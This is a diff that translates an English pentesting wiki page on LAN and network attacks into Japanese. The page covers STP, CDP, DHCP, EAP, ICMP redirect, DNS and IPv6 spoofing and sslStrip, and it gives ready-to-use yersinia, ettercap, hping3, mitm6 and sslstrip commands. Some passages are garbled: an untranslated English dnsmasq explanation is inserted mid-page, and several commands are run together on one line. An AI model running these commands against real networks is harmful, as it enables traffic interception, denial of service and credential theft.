Root Attack** - -The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\ -This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch. - +攻撃者は、スイッチの振る舞いをシミュレートしてネットワークのSTPルートになります。その結果、より多くのデータが攻撃者を経由します。これは、異なるスイッチに接続されている場合に興味深いです。\ +これは、BPDUs CONFパケットを送信して、**優先度**値が実際のルートスイッチの優先度よりも低いと言います。 ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` - -**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed). - +**もし攻撃者が2つのスイッチに接続されている場合、彼は新しいツリーのルートとなり、それらのスイッチ間のすべてのトラフィックは彼を経由します**(MITM攻撃が実行されます)。 ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` +### CDP攻撃 -### CDP Attacks +CISCO Discovery Protocolは、CISCOデバイスが相互に通信し、**誰が生きているか**、どのような機能を持っているかを確認するために使用されるプロトコルです。 -CISCO Discovery Protocol is the protocol used by CISCO devices to talk among them, **discover who is alive** and what features does they have. +#### 情報収集 -#### Information Gathering +**デフォルトでは、CDPはすべてのポートにアナウンスを送信します。**しかし、もし侵入者が同じスイッチのポートに接続した場合はどうでしょうか?ネットワークスニッファ(Wireshark、tcpdump、Yersiniaなど)を使用して、彼はデバイス自体に関する**貴重な情報**を抽出することができます。モデルからCisco IOSのバージョンまでの情報を使用して、彼は同じバージョンのCisco IOSを列挙し、脆弱性を見つけてそれを悪用することができます。 -**By default, the CDP sends announcements to all its ports.** But what if an intruder connects to a port on the same switch? Using a network sniffer, be it **Wireshark,** **tcpdump** or **Yersinia**, he could extract **valuable information about the device itself**, from its model to the Cisco IOS version. Using this information he will be able to enumerate the same version of Cisco IOS and find the vulnerability and then exploit it. - -#### CDP Flooding Attack - -You can make a DoS attack to a CISCO switch by exhausting the device memory simulating real CISCO devices. +#### CDPフラッディング攻撃 +実際のCISCOデバイスをシミュレートしてデバイスのメモリを枯渇させることで、CISCOスイッチにDoS攻撃を行うことができます。 ```bash sudo yersinia cdp -attack 1 #DoS Attack simulating new CISCO devices # Or you could use the GUI sudo yersinia -G ``` - -Select the **flooding CDP table** option and start the attack. The switch CPU will be overloaded, as well as the CDP neighbor table, **resulting in “network paralysis”.** +**CDPテーブルのフラッディング**オプションを選択し、攻撃を開始します。スイッチのCPUおよびCDP隣接テーブルが過負荷となり、「ネットワークの麻痺」が発生します。
-#### CDP Impersonation Attack - +#### CDPなりすまし攻撃 ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` +また、[**scapy**](https://github.com/secdev/scapy/)を使用することもできます。`scapy/contrib`パッケージを使用してインストールしてください。 -You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. +### VoIP攻撃 -### VoIP Attacks +従業員のインターネット電話(VoIP)端末を使用することを意図しているにもかかわらず、現代のVoIPデバイスはますますIoTデバイスと統合されています。多くの従業員は特別な電話番号を使用してドアを開けたり、部屋の温度調節を制御したりすることができます... -Although intended for use by the employees’ Voice over Internet Protocol (VoIP) phones, modern VoIP devices are increasingly integrated with IoT devices. Many employees can now unlock doors using a special phone number, control the room’s thermostat... +ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、Cisco、Avaya、Nortel、Alcatel-Lucentの環境でVoIP電話の振る舞いを模倣します。サポートされているデバイス検出プロトコルの1つであるCisco Discovery Protocol(CDP)、Dynamic Host Configuration Protocol(DHCP)、Link Layer Discovery Protocol Media Endpoint Discovery(LLDP-MED)、および802.1Q ARPを使用して、音声ネットワークの正しいVLAN IDを自動的に検出します。 -The tool [**voiphopper**](http://voiphopper.sourceforge.net) mimics the behavior of a VoIP phone in Cisco, Avaya, Nortel, and Alcatel-Lucent environments. It automatically discovers the correct VLAN ID for the voice network using one of the device discovery protocols it supports, such as the Cisco Discovery Protocol (CDP), the Dynamic Host Configuration Protocol (DHCP), Link Layer Discovery Protocol Media Endpoint Discovery (LLDP-MED), and 802.1Q ARP. - -**VoIP Hopper** supports **three** CDP modes. The **sniff** mode inspects the network packets and attempts to locate the VLAN ID. To use it, set the **`-c`** parameter to `0`. The **spoof** mode generates custom packets similar to the ones a real VoIP device would transmit in the corporate network. To use it, set the **`-c`** parameter to **`1`**. The spoof with a **pre-madepacket** mode sends the same packets as a Cisco 7971G-GE IP phone. To use it, set the **`-c`** parameter to **`2`**. - -We use the last method because it’s the fastest approach. The **`-i`** parameter specifies the attacker’s **network** **interface**, and the **`-E`** parameter specifies the **name of the VOIP device** being imitated. We chose the name SEP001EEEEEEEEE, which is compatible with the Cisco naming format for VoIP phones. The format consists of the word “SEP” followed by a MAC address. In corporate environments, you can imitate an existing VoIP device by looking at the MAC label on the back of the phone; by pressing the Settings button and selecting the Model Information option on the phone’s display screen; or by attaching the VoIP device’s Ethernet cable to your laptop and observing the device’s CDP requests using Wireshark. +**VoIP Hopper**は**3つ**のCDPモードをサポートしています。**sniff**モードはネットワークパケットを検査し、VLAN IDを特定しようとします。使用するには、**`-c`**パラメータを`0`に設定します。**spoof**モードは、企業ネットワークで実際のVoIPデバイスが送信するのと似たカスタムパケットを生成します。使用するには、**`-c`**パラメータを**`1`**に設定します。**pre-madepacket**モードのスプーフは、Cisco 7971G-GE IP電話と同じパケットを送信します。使用するには、**`-c`**パラメータを**`2`**に設定します。 +最後の方法を使用する理由は、最も高速なアプローチだからです。**`-i`**パラメータは攻撃者の**ネットワークインターフェース**を指定し、**`-E`**パラメータは模倣される**VOIPデバイスの名前**を指定します。私たちはCiscoのVoIP電話の命名形式と互換性のあるSEP001EEEEEEEEEという名前を選びました。この形式は、「SEP」という単語に続いてMACアドレスが続くものです。企業環境では、電話の裏にあるMACラベルを見て既存のVoIPデバイスを模倣することができます。または、電話のディスプレイ画面で設定ボタンを押し、モデル情報オプションを選択するか、VoIPデバイスのイーサネットケーブルをノートパソコンに接続し、Wiresharkを使用してデバイスのCDPリクエストを観察することもできます。 ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` +もしツールが正常に実行された場合、**VLANネットワークは攻撃者のデバイスにIPv4アドレスを割り当てます**。 -If the tool executes successfully, the **VLAN network will assign an IPv4 address to the attacker’s device**. - -### DHCP Attacks - -#### Enumeration +### DHCP攻撃 +#### 列挙 ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT WARNING: No targets were specified, so 0 hosts scanned. Pre-scan script results: -| broadcast-dhcp-discover: -| Response 1 of 1: +| broadcast-dhcp-discover: +| Response 1 of 1: | IP Offered: 192.168.1.250 | DHCP Message Type: DHCPOFFER | Server Identifier: 192.168.1.1 @@ -547,61 +492,58 @@ Pre-scan script results: |_ Domain Name: mynet Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` - **DoS** -**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\ -This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**. +**DoS(Denial of Service)** -Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP. +DHCPサーバーに対しては、2つのタイプのDoSが実行される可能性があります。最初のタイプは、**十分な数の偽のホストをシミュレートして、すべての可能なIPアドレスを使用する**ことです。\ +この攻撃は、DHCPサーバーの応答を見ることができ、プロトコルを完了できる場合にのみ機能します(**Discover**(Comp)-> **Offer**(server)-> **Request**(Comp)-> **ACK**(server))。たとえば、これは**Wifiネットワークでは不可能**です。 +DHCP DoSを実行する別の方法は、**ソースコードとして可能なすべてのIPを使用してDHCP-RELEASEパケットを送信する**ことです。その後、サーバーはすべての人がIPを使用し終わったと思うでしょう。 ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` +より自動的な方法は、ツール[DHCPing](https://github.com/kamorin/DHCPig)を使用することです。 -A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig) +環境内のクライアントに新しいリースを取得させ、正規のサーバーを使い果たして応答しなくなるように、上記で言及されたDoS攻撃を使用することができます。したがって、正規のサーバーが再接続しようとすると、**次の攻撃で言及される悪意のある値を提供することができます**。 -You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**. +#### 悪意のある値の設定 -#### Set malicious values +Rogue DHCPサーバーを確立するために、Responder DHCPスクリプト(_/usr/share/responder/DHCP.py_)を使用することができます。悪意のあるゲートウェイを設定することは理想的ではありません。なぜなら、乗っ取られた接続は半二重であるため(つまり、クライアントからの出力パケットをキャプチャすることはできますが、正規のゲートウェイからの応答はキャプチャできません)、特にHTTPトラフィックと資格情報をキャプチャするために、ローグDNSまたはWPADサーバーを設定することをお勧めします。 -You can use Responder DHCP script (_/usr/share/responder/DHCP.py_) to establish a rogue DHCP server. Setting a malicious gateway is not ideal, because the hijacked connection is only half-duplex (i.e., we capture egress packets from the client, but not the responses from the legitimate gateway). As such, I would recommend setting a rogue DNS or WPAD server to capture HTTP traffic and credentials in particular. +| 説明 | 例 | +| ---------------------------------------- | ---------------------------------------------------------------------------- | +| ゲートウェイとしてアドバタイズされるIPアドレス | _-i 10.0.0.100_ | +| ローカルDNSドメイン名(オプション) | _-d example.org_ | +| オリジナルのルーター/ゲートウェイのIPアドレス | _-r 10.0.0.1_ | +| プライマリDNSサーバーのIPアドレス | _-p 10.0.0.100_ | +| セカンダリDNSサーバーのIPアドレス(オプション) | _-s 10.0.0.1_ | +| ローカルネットワークのネットマスク | _-n 255.255.255.0_ | +| DHCPトラフィックを受信するためのインターフェース | _-I eth1_ | +| WPAD構成アドレス(URL) | _-w “_[http://10.0.0.100/wpad.dat\n”](http://10.0.0.100/wpad.dat/n%E2%80%9D) | +| デフォルトゲートウェイのIPアドレスをスプーフィングする | -S | +| すべてのDHCPリクエストに応答する(非常にノイズが多い) | -R | -| Description | Example | -| ------------------------------------------- | ---------------------------------------------------------------------------- | -| Our IP address, advertised as a gateway | _-i 10.0.0.100_ | -| The local DNS domain name (optional) | _-d example.org_ | -| IP address of the original router/gateway | _-r 10.0.0.1_ | -| Primary DNS server IP address | _-p 10.0.0.100_ | -| Secondary DNS server IP address (optional) | _-s 10.0.0.1_ | -| The netmask of the local network | _-n 255.255.255.0_ | -| The interface to listen for DHCP traffic on | _-I eth1_ | -| WPAD configuration address (URL) | _-w “_[http://10.0.0.100/wpad.dat\n”](http://10.0.0.100/wpad.dat/n%E2%80%9D) | -| Spoof the default gateway IP address | -S | -| Respond to all DHCP requests (very noisy) | -R | +### **EAP攻撃** -### **EAP Attacks** +以下は、802.1X実装に対して使用できる攻撃戦術のいくつかです: -Here are some of the attack tactics that can be used against 802.1X implementations: - -* Active brute-force password grinding via EAP -* Attacking the RADIUS server with malformed EAP content _\*\*_(exploits) -* EAP message capture and offline password cracking (EAP-MD5 and PEAP) -* Forcing EAP-MD5 authentication to bypass TLS certificate validation -* Injecting malicious network traffic upon authenticating using a hub or similar - -If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: +* EAPを介したアクティブなブルートフォースパスワード攻撃 +* 異常なEAPコンテンツ(エクスプロイト)によるRADIUSサーバーへの攻撃 +* EAPメッセージのキャプチャとオフラインパスワードクラッキング(EAP-MD5およびPEAP) +* TLS証明書の検証をバイパスするためのEAP-MD5認証の強制 +* ハブまたは類似のものを使用して認証後に悪意のあるネットワークトラフィックを注入する +攻撃者が被害者と認証サーバーの間にいる場合、必要に応じて認証プロトコルをEAP-MD5に低下させ、認証試行をキャプチャすることができます。その後、次の方法を使用してブルートフォース攻撃を行うことができます: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` +### FHRP(GLBP&HSRP)攻撃 -### FHRP (GLBP & HSRP) Attacks +**FHRP**(First Hop Redundancy Protocol)は、**ホット冗長ルーティングシステムを作成するためのネットワークプロトコルのクラス**です。FHRPを使用すると、物理ルータを1つの論理デバイスに組み合わせることができ、信頼性を向上させ、負荷を分散するのに役立ちます。 -**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. - -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.** +**Cisco Systemsのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。** {% content-ref url="glbp-and-hsrp-attacks.md" %} [glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md) @@ -609,83 +551,104 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ### RIP -Three versions of the Routing Information Protocol (RIP) exist—RIP, RIPv2, and RIPng. RIP and RIPv2 use UDP datagrams sent to peers via port 520, whereas RIPng broadcasts datagrams to UDP port 521 via IPv6 multicast. RIPv2 introduced MD5 authentication support. RIPng does not incorporate native authentication; rather, it relies on optional IPsec AH and ESP headers within IPv6. +ルーティング情報プロトコル(RIP)には、RIP、RIPv2、およびRIPngの3つのバージョンが存在します。RIPとRIPv2は、ポート520を介してピアに送信されるUDPデータグラムを使用します。一方、RIPngはIPv6マルチキャストを介してUDPポート521にデータグラムをブロードキャストします。RIPv2ではMD5認証のサポートが導入されました。RIPngにはネイティブの認証は組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダに依存しています。 -For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network (3rd edition).**_ +このプロトコルを攻撃する方法の詳細については、書籍「_**Network Security Assessment: Know Your Network(第3版)**_」を参照してください。 -### EIGRP Attacks +### EIGRP攻撃 -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system. +**EIGRP(Enhanced Interior Gateway Routing Protocol)**は、動的ルーティングプロトコルです。**距離ベクトルプロトコルです。**認証がなく、パッシブインターフェースの設定がない場合、**侵入者**はEIGRPルーティングに干渉し、**ルーティングテーブルの改ざん**を引き起こすことができます。さらに、EIGRPネットワーク(つまり、自律システム)は**フラットでゾーンにセグメント化されていません**。**攻撃者がルートを注入**すると、このルートは自律EIGRPシステム全体に**広がる可能性があります**。 -To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections. +EIGRPシステムを攻撃するには、**正規のEIGRPルータとの隣接関係を確立**する必要があります。これにより、基本的な偵察からさまざまなインジェクションまで、さまざまな可能性が開かれます。 -\*\*\*\*[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. +\*\*\*\*[**FRRouting**](https://frrouting.org/)を使用すると、BGP、OSPF、EIGRP、RIPなどのプロトコルをサポートする**仮想ルータを実装**できます。攻撃者のシステムに展開するだけで、ルーティングドメイン内の正規のルータのふりをすることができます。 {% content-ref url="eigrp-attacks.md" %} [eigrp-attacks.md](eigrp-attacks.md) {% endcontent-ref %} -\*\*\*\*[**Coly**](https://code.google.com/p/coly/) also supports capture of EIGRP broadcasts and injection of packets to manipulate routing configuration. For more info about how to attack it with Coly check _**Network Security Assessment: Know Your Network (3rd edition).**_ +\*\*\*\*[**Coly**](https://code.google.com/p/coly/)もEIGRPブロードキャストのキャプチャとルーティング構成の操作のためのパケットのインジェクションをサポートしています。Colyを使用して攻撃する方法の詳細については、_**Network Security Assessment: Know Your Network(第3版)**_を参照してください。 ### OSPF -Most Open Shortest Path First (OSPF) implementations use MD5 to provide authentication between routers. Loki and John the Ripper can capture and attack MD5 hashes to reveal the key, which can then be used to advertise new routes. The route parameters are set by using the _Injection_ tab, and the key set under _Connection_. +ほとんどのOpen Shortest Path First(OSPF)の実装では、MD5を使用してルータ間の認証を提供します。LokiとJohn the Ripperは、MD5ハッシュをキャプチャして攻撃し、キーを明らかにすることができます。これを使用して新しいルートを広告することができます。ルートパラメータは、_Injection_タブを使用して設定し、キーは_Connection_の下で設定されます。 -For more information about how to attack this protocol go to the book _**Network Security Assessment: Know Your Network (3rd edition).**_ +このプロトコルを攻撃する方法の詳細については、書籍「_**Network Security Assessment: Know Your Network(第3版)**_」を参照してください。 -### Other Generic Tools & Sources +### その他の一般的なツールとソース -* [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities -* You can find some more information about network attacks [here](https://github.com/Sab0tag3d/MITM-cheatsheet). _(TODO: Read it all and all new attacks if any)_ +* [**Above**](https://github.com/c4s73r/Above):ネットワークトラフィックをスキャンして脆弱性を見つけるためのツール +* ネットワーク攻撃に関する詳細な情報は、[こちら](https://github.com/Sab0tag3d/MITM-cheatsheet)を参照してください。 _(TODO: すべてを読み、新しい攻撃があればすべて読む)_ -## **Spoofing** - -The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses. +## **スプーフィング** +攻撃者は、偽のDHCP応答を送信することで、新しいネットワークメンバーのすべてのネットワークパラメータ(GW、IP、DNS)を設定します。 ```bash Ettercap yersinia dhcp -attack 2 #More parameters are needed ``` +### ARPスプーフィング -### ARP Spoofing +[前のセクション](./#arp-spoofing)を確認してください。 -Check the [previous section](./#arp-spoofing). - -### ICMPRedirect - -ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker. +### ICMPリダイレクト +ICMPリダイレクトは、ICMPパケットタイプ1コード5を送信することで、攻撃者がIPに到達する最適な方法であることを示すものです。その後、被害者がIPに接触しようとすると、パケットは攻撃者を介して送信されます。 ```bash Ettercap icmp_redirect hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] ``` +### DNSスプーフィング -### DNS Spoofing - -The attacker will resolve some (or all) the domains that the victim ask for. - +攻撃者は、被害者が要求するドメインのいくつか(またはすべて)を解決します。 ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on ``` +**dnsmasqを使用して独自のDNSを設定する** -**Configure own DNS with dnsmasq** +dnsmasq is a lightweight DNS forwarder and DHCP server that can be used to configure your own DNS server. It is commonly used in small networks or for local development purposes. By configuring dnsmasq, you can have control over the DNS resolution process and customize it according to your needs. +To configure dnsmasq, follow these steps: + +1. Install dnsmasq on your system. You can do this by running the following command: + + ``` + sudo apt-get install dnsmasq + ``` + +2. Once installed, open the dnsmasq configuration file using a text editor. The file is usually located at `/etc/dnsmasq.conf`. + +3. In the configuration file, you can specify various settings for your DNS server. Some common settings include: + + - `listen-address`: This specifies the IP address on which dnsmasq should listen for DNS queries. You can set it to `127.0.0.1` if you want to use dnsmasq only on the local machine, or you can specify a specific IP address if you want to use it on a specific network interface. + + - `server`: This specifies the upstream DNS server that dnsmasq should use for resolving DNS queries. You can set it to your preferred DNS server, such as `8.8.8.8` for Google DNS or `1.1.1.1` for Cloudflare DNS. + + - `address`: This allows you to define custom DNS records. For example, you can map a domain name to a specific IP address by adding a line like `address=/example.com/192.168.1.100`. + +4. After making the necessary changes, save the configuration file and restart dnsmasq for the changes to take effect. You can do this by running the following command: + + ``` + sudo systemctl restart dnsmasq + ``` + +5. Finally, you need to configure your system to use the dnsmasq DNS server. This can usually be done by modifying the network settings or the DNS resolver configuration file on your system. Set the DNS server IP address to the one specified in the `listen-address` setting of dnsmasq. + +That's it! You have now configured your own DNS server using dnsmasq. You can test it by querying DNS records or accessing websites to see if the custom DNS records are being resolved correctly. ```bash apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # Test the configured DNS ``` +### ローカルゲートウェイ -### Local Gateways - -Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding. - +通常、システムやネットワークへの複数の経路が存在します。ローカルネットワーク内のMACアドレスのリストを作成した後、_gateway-finder.py_ を使用してIPv4フォワーディングをサポートするホストを特定します。 ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ root@kali:~# arp-scan -l | tee hosts.txt Interface: eth0, datalink type: EN10MB (Ethernet) -Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) +Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) 10.0.0.100 00:13:72:09:ad:76 Dell Inc. 10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION 10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp. @@ -697,67 +660,59 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] ``` +### [LLMNR、NBT-NS、およびmDNSのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Microsoftのシステムでは、DNSの検索が失敗した場合に、リンクローカルマルチキャスト名解決(LLMNR)とNetBIOS名サービス(NBT-NS)を使用して、ローカルホストの解決を行います。Apple BonjourおよびLinuxのゼロ構成実装では、マルチキャストDNS(mDNS)を使用してネットワーク内のシステムを検出します。これらのプロトコルは認証されておらず、UDP上でブロードキャストメッセージを送信するため、攻撃者はこれらを悪意のあるサービスにユーザーを誘導するために悪用することができます。 -Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services. +Responderを使用して偽の応答を送信することで、ホストが検索するサービスをなりすますことができます。\ +[Responderを使用したサービスのなりすましについての詳細はこちらを参照してください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。 -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +### [WPADのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +多くのブラウザは、ネットワークからプロキシ設定を読み込むためにWeb Proxy Auto-Discovery(WPAD)を使用します。WPADサーバーは、次のいずれかを通じて特定のURL(例:[http://wpad.example.org/wpad.dat](http://wpad.example.org/wpad.dat))を介してクライアントのプロキシ設定を提供します。 -Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., [http://wpad.example.org/wpad.dat](http://wpad.example.org/wpad.dat)) upon being identified through any of the following: +* DHCP(コード252のエントリを使用)[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41) +* ローカルドメインで_wpad_ホスト名を検索するDNS +* Microsoft LLMNRおよびNBT-NS(DNSの検索が失敗した場合) -* DHCP, using a code 252 entry[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41) -* DNS, searching for the _wpad_ hostname in the local domain -* Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure) +ResponderはWPAD攻撃を自動化し、プロキシを実行し、DHCP、DNS、LLMNR、およびNBT-NSを介してクライアントを悪意のあるWPADサーバーに誘導します。\ +[Responderを使用したサービスのなりすましについての詳細はこちらを参照してください](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)。 -Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +### [SSDPおよびUPnPデバイスのスプーフィング](spoofing-ssdp-and-upnp-devices.md) -### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) - -You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** +ネットワーク内で異なるサービスを提供し、ユーザーを騙して平文の資格情報を入力させることができます。**この攻撃についての詳細は**[**SSDPおよびUPnPデバイスのスプーフィング**](spoofing-ssdp-and-upnp-devices.md)**を参照してください**。 ### IPv6 Neighbor Spoofing -This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker. - +この攻撃はARP Spoofingと非常に似ていますが、IPv6の世界で行われます。被害者には、GWのIPv6が攻撃者のMACアドレスを持っていると思わせることができます。 ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` +### IPv6ルーター広告のスプーフィング/フラッディング -### IPv6 Router Advertisement Spoofing/Flooding - -Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use: - +一部のOSは、ネットワーク内で送信されるRAパケットからデフォルトでゲートウェイを設定します。攻撃者をIPv6ルーターとして宣言するためには、次のコマンドを使用します: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 fake_router6 wlan0 fe80::01/16 ``` +### IPv6 DHCPスプーフィング -### IPv6 DHCP spoofing - -By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim. - +デフォルトでは、一部のOSはネットワーク内のDHCPv6パケットを読み取ってDNSを設定しようとします。そのため、攻撃者は自身をDNSとして設定するためにDHCPv6パケットを送信することができます。DHCPはまた、被害者にIPv6を提供します。 ```bash dhcp6.spoof on dhcp6.spoof.domains mitm6 ``` +### HTTP(フェイクページとJSコードの挿入) -### HTTP (fake page and JS code injection) - -## Internet Attacks +## インターネット攻撃 ### sslStrip -Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**. - +この攻撃は、**ユーザー**が**アクセスしようとする**HTTPページが**HTTPS**バージョンに**リダイレクト**される場合に行われます。**sslStrip**は、**クライアントとのHTTP接続**と**サーバーとのHTTPS接続**を**維持**するため、接続を**平文**で**傍受**することができます。 ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -766,33 +721,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ``` +詳細は[こちら](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)を参照してください。 -More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). +### HSTS回避のためのsslStrip+とdns2proxy -### sslStrip+ and dns2proxy for bypassing HSTS +**sslStrip+とdns2proxy**は**sslStrip**との**違い**は、例えば_**www.facebook.com**_を_**wwww.facebook.com**_(**w**が**1つ多い**)に**リダイレクト**し、このドメインの**アドレスを攻撃者のIPに設定**することです。これにより、**クライアント**は_**wwww.facebook.com**_(攻撃者)に**接続**しますが、裏では**sslstrip+**が**www.facebook.com**とのhttps接続を**維持**します。 -The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. +この技術の**目的**は、_**wwww**.facebook.com_がブラウザの**キャッシュ**に保存されないため、HSTSを**回避**することです。そのため、ブラウザは**facebookの認証をHTTPで実行**するように騙されます。\ +この攻撃を実行するためには、被害者が最初に[http://www.faceook.com](http://www.faceook.com)にアクセスしようとする必要があります。これは、httpページ内のリンクを変更することで実現できます。 -The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** 